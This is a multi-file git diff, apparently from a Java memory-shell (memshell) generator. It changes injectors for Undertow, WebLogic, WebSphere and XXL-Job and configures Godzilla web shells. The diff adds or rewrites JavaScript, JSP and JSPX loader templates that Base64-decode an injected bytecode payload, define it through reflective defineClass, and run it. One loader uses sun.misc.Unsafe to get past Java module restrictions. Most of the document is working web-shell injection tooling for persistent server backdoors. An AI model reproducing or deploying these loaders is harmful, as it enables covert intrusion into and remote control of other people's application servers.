import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -18,7 +21,7 @@ public class UndertowShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
Map<?, ?> map = (Map<?, ?>) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments");
|
Map<?, ?> map = (Map<?, ?>) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments");
|
||||||
Object[] keys = map.keySet().toArray();
|
Object[] keys = map.keySet().toArray();
|
||||||
for (Object key : keys) {
|
for (Object key : keys) {
|
||||||
@@ -44,8 +47,7 @@ public class UndertowShell extends AbstractShell {
|
|||||||
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
||||||
.addInjector(SERVLET, UndertowServletInjector.class)
|
.addInjector(SERVLET, UndertowServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletHandlerAgentInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.weblogic.*;
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -22,7 +25,6 @@ public class WebLogicShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.websphere.*;
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -16,7 +19,7 @@ public class WebSphereShell extends AbstractShell {
|
|||||||
public static class ListenerInterceptor {
|
public static class ListenerInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -33,7 +36,6 @@ public class WebSphereShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, WebSphereFilterInjector.class)
|
.addInjector(FILTER, WebSphereFilterInjector.class)
|
||||||
.addInjector(SERVLET, WebSphereServletInjector.class)
|
.addInjector(SERVLET, WebSphereServletInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
|
import com.reajason.javaweb.memshell.injector.xxljob.XxlJobNettyHandlerInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.NETTY_HANDLER;
|
import static com.reajason.javaweb.memshell.ShellType.NETTY_HANDLER;
|
||||||
|
|
||||||
|
|||||||
@@ -91,6 +91,10 @@ public class CommonUtil {
|
|||||||
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
|
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String getPackageName(String className) {
|
||||||
|
return className.substring(0, className.lastIndexOf("."));
|
||||||
|
}
|
||||||
|
|
||||||
public static String generateShellClassName() {
|
public static String generateShellClassName() {
|
||||||
return getRandomPackageName() + ".ErrorHandler";
|
return getRandomPackageName() + ".ErrorHandler";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,22 +12,7 @@ public class ShellCommonUtil {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
Field field = null;
|
return "";
|
||||||
Class<?> clazz = obj.getClass();
|
|
||||||
while (clazz != Object.class) {
|
|
||||||
try {
|
|
||||||
field = clazz.getDeclaredField(name);
|
|
||||||
break;
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (field == null) {
|
|
||||||
throw new NoSuchFieldException(name);
|
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class GetFieldValueInterceptor {
|
public static class GetFieldValueInterceptor {
|
||||||
@@ -37,66 +22,43 @@ public class ShellCommonUtil {
|
|||||||
@Advice.Argument(value = 1) String name,
|
@Advice.Argument(value = 1) String name,
|
||||||
@Advice.Return(readOnly = false) Object returnValue
|
@Advice.Return(readOnly = false) Object returnValue
|
||||||
) throws Exception {
|
) throws Exception {
|
||||||
Field field = null;
|
|
||||||
Class<?> clazz = obj.getClass();
|
Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
while (clazz != Object.class) {
|
||||||
try {
|
try {
|
||||||
field = clazz.getDeclaredField(name);
|
Field field = clazz.getDeclaredField(name);
|
||||||
break;
|
field.setAccessible(true);
|
||||||
|
returnValue = field.get(obj);
|
||||||
|
return;
|
||||||
} catch (NoSuchFieldException var5) {
|
} catch (NoSuchFieldException var5) {
|
||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (field == null) {
|
if (returnValue == null) {
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException();
|
||||||
} else {
|
|
||||||
field.setAccessible(true);
|
|
||||||
returnValue = field.get(obj);
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static String base64DecodeToString(String bs) {
|
public static String base64DecodeToString(String bs) throws Exception {
|
||||||
byte[] value = null;
|
return "";
|
||||||
Class<?> base64;
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
|
||||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
Object decoder = base64.newInstance();
|
|
||||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return value == null ? null : new String(value);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class Base64DecodeToStringInterceptor {
|
public static class Base64DecodeToStringInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
|
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||||
byte[] value = null;
|
if (bs != null) {
|
||||||
Class<?> base64;
|
|
||||||
try {
|
|
||||||
base64 = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
|
||||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
try {
|
try {
|
||||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||||
Object decoder = base64.newInstance();
|
returnValue = new String((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
|
||||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
} catch (Exception var6) {
|
||||||
} catch (Exception ignored) {
|
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||||
|
returnValue = new String((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
returnValue = value == null ? null : new String(value);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,30 +1,16 @@
|
|||||||
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
|
|
||||||
var className = "{{className}}";
|
|
||||||
var base64Str = "{{base64Str}}";
|
var base64Str = "{{base64Str}}";
|
||||||
|
var clsString = java.lang.Class.forName("java.lang.String");
|
||||||
|
var bytecode;
|
||||||
try {
|
try {
|
||||||
classLoader.loadClass(className).newInstance();
|
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||||
} catch (e) {
|
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||||
var clsString = classLoader.loadClass("java.lang.String");
|
} catch (ee) {
|
||||||
var bytecode;
|
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||||
try {
|
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
|
||||||
var clsBase64 = classLoader.loadClass("java.util.Base64");
|
}
|
||||||
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
|
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
||||||
var decoder = clsBase64.getMethod("getDecoder").invoke(clsDecoder);
|
var clsInt = java.lang.Integer.TYPE;
|
||||||
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
|
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
||||||
} catch (ee) {
|
defineClass.setAccessible(true);
|
||||||
try {
|
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
||||||
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
clazz.newInstance();
|
||||||
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
|
|
||||||
} catch (eee) {
|
|
||||||
var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
|
|
||||||
bytecode = clazz1.newInstance().decodeBuffer(base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
|
|
||||||
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
|
||||||
var clsInt = java.lang.Integer.TYPE;
|
|
||||||
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
|
||||||
clazz.newInstance();
|
|
||||||
}
|
|
||||||
@@ -1,50 +1,26 @@
|
|||||||
<%!
|
<%!
|
||||||
public static class ClassDefiner extends ClassLoader {
|
public static class ClassDefiner extends ClassLoader {
|
||||||
public ClassDefiner() {
|
public ClassDefiner(ClassLoader classLoader) {
|
||||||
super(Thread.currentThread().getContextClassLoader());
|
super(classLoader);
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] decodeBase64(String bytecodeBase64) {
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
|
||||||
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
|
||||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
|
||||||
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
|
||||||
} catch (Exception ee) {
|
|
||||||
try {
|
|
||||||
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
|
||||||
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
|
||||||
} catch (Exception e) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class<?> defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public String toString() {
|
|
||||||
String className = "{{className}}";
|
|
||||||
String base64Str = "{{base64Str}}";
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
classLoader.loadClass(className).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
try {
|
|
||||||
byte[] bytecode = decodeBase64(base64Str);
|
|
||||||
Class<?> clazz = defineClass(bytecode);
|
|
||||||
clazz.newInstance();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return className;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
%>
|
%>
|
||||||
|
|
||||||
<%
|
<%
|
||||||
new ClassDefiner().toString();
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
|
}
|
||||||
|
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
|
||||||
|
clazz.newInstance();
|
||||||
%>
|
%>
|
||||||
@@ -3,51 +3,27 @@
|
|||||||
<jsp:directive.page pageEncoding="UTF-8"/>
|
<jsp:directive.page pageEncoding="UTF-8"/>
|
||||||
<jsp:declaration><![CDATA[
|
<jsp:declaration><![CDATA[
|
||||||
public static class ClassDefiner extends ClassLoader {
|
public static class ClassDefiner extends ClassLoader {
|
||||||
public ClassDefiner() {
|
public ClassDefiner(ClassLoader classLoader) {
|
||||||
super(Thread.currentThread().getContextClassLoader());
|
super(classLoader);
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] decodeBase64(String bytecodeBase64) {
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
|
|
||||||
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
|
|
||||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
|
|
||||||
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
|
|
||||||
} catch (Exception ee) {
|
|
||||||
try {
|
|
||||||
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
|
||||||
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
|
|
||||||
} catch (Exception e) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class<?> defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public String toString() {
|
|
||||||
String className = "{{className}}";
|
|
||||||
String base64Str = "{{base64Str}}";
|
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
|
||||||
try {
|
|
||||||
classLoader.loadClass(className).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
try {
|
|
||||||
byte[] bytecode = decodeBase64(base64Str);
|
|
||||||
Class<?> clazz = defineClass(bytecode);
|
|
||||||
clazz.newInstance();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return className;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
]]></jsp:declaration>
|
]]></jsp:declaration>
|
||||||
<jsp:scriptlet><![CDATA[
|
<jsp:scriptlet><![CDATA[
|
||||||
new ClassDefiner().toString();
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
|
}
|
||||||
|
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||||
|
clazz.newInstance();
|
||||||
]]></jsp:scriptlet>
|
]]></jsp:scriptlet>
|
||||||
</jsp:root>
|
</jsp:root>
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
<%
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
|
}
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
|
||||||
|
clazz.newInstance();
|
||||||
|
%>
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
<%
|
||||||
|
String base64Str = "{{base64Str}}";
|
||||||
|
byte[] bytecode = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
try {
|
||||||
|
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||||
|
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||||
|
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (ClassNotFoundException ee) {
|
||||||
|
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||||
|
}
|
||||||
|
Object unsafe = null;
|
||||||
|
Object rawModule = null;
|
||||||
|
long offset = 48;
|
||||||
|
java.lang.reflect.Method getAndSetObjectM = null;
|
||||||
|
try {
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
unsafe = unsafeField.get(null);
|
||||||
|
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
|
||||||
|
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||||
|
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", java.lang.reflect.Field.class);
|
||||||
|
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||||
|
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
|
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
|
defMethod.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
|
||||||
|
if (getAndSetObjectM != null) {
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||||
|
}
|
||||||
|
clazz.newInstance();
|
||||||
|
%>
|
||||||
Binary file not shown.
Binary file not shown.
+2
-1
@@ -2,7 +2,8 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.*;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,11 +6,14 @@ import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
import java.util.Base64;;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/3/19
|
* @since 2025/3/19
|
||||||
|
|||||||
+3
-2
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import com.reajason.javaweb.util.ClassDefiner;
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
@@ -38,8 +39,8 @@ class GodzillaGeneratorTest {
|
|||||||
.key("key")
|
.key("key")
|
||||||
.headerName("User-Agent")
|
.headerName("User-Agent")
|
||||||
.headerValue("test").build();
|
.headerValue("test").build();
|
||||||
DynamicType.Builder<?> builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder();
|
byte[] bytes = new GodzillaGenerator(shellConfig, godzillaConfig).getBytes();
|
||||||
Class<?> loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded();
|
Class<?> loaded = ClassDefiner.defineClass(bytes);
|
||||||
Object o = loaded.getDeclaredConstructor().newInstance();
|
Object o = loaded.getDeclaredConstructor().newInstance();
|
||||||
assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
|
assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
|
||||||
assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));
|
assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));
|
||||||
|
|||||||
+3
-4
@@ -2,12 +2,11 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -21,12 +20,12 @@ class InjectorGeneratorTest {
|
|||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
.shellClassBytes("hello".getBytes())
|
.shellClassBytes("hello".getBytes())
|
||||||
.shellClassName("hello")
|
.shellClassName("hello")
|
||||||
